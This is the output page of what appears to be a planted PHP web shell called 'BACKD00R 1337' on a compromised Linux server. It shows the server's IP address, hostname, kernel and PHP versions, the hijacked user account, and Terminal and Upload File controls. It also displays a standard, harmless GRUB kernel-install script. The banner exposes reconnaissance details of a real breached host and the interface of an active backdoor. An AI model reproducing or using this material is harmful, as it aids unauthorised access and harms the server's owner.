BACKD00R 1337
Server IP : 164.52.202.56  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux e2e-70-56.ssdcloudindia.net 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : rubyaromatics ( 1052)
PHP Version : 7.2.34
Directory (0755) :  /lib/kernel/install.d/

[  Home  ][  Terminal  ][  Upload File  ]

Current File : //lib/kernel/install.d/99-grub-mkconfig.install
#!/bin/bash

if ! [[ $KERNEL_INSTALL_MACHINE_ID ]]; then
    exit 0
fi

ARCH=$(uname -m)

[[ -f /etc/default/grub ]] && . /etc/default/grub

# Can't assume a BLS capable bootloader on ppc64
if [[ x$GRUB_ENABLE_BLSCFG = xtrue &&
	  $ARCH != "ppc64" && $ARCH != "ppc64le" ]]; then
    exit 0
fi

COMMAND="$1"

grub_cfg=/boot/grub2/grub.cfg
if mountpoint -q /boot/efi; then
    os_name=$(grep ^ID= /etc/os-release | sed -e 's/^ID=//' -e 's/rhel/redhat/' -e 's/\"//g')
    grub_cfg=/boot/efi/EFI/$os_name/grub.cfg
fi

case "$COMMAND" in
    add|remove)
        grub2-mkconfig --no-grubenv-update -o $grub_cfg >& /dev/null
        ;;
    *)
        ;;
esac

security is just an illusion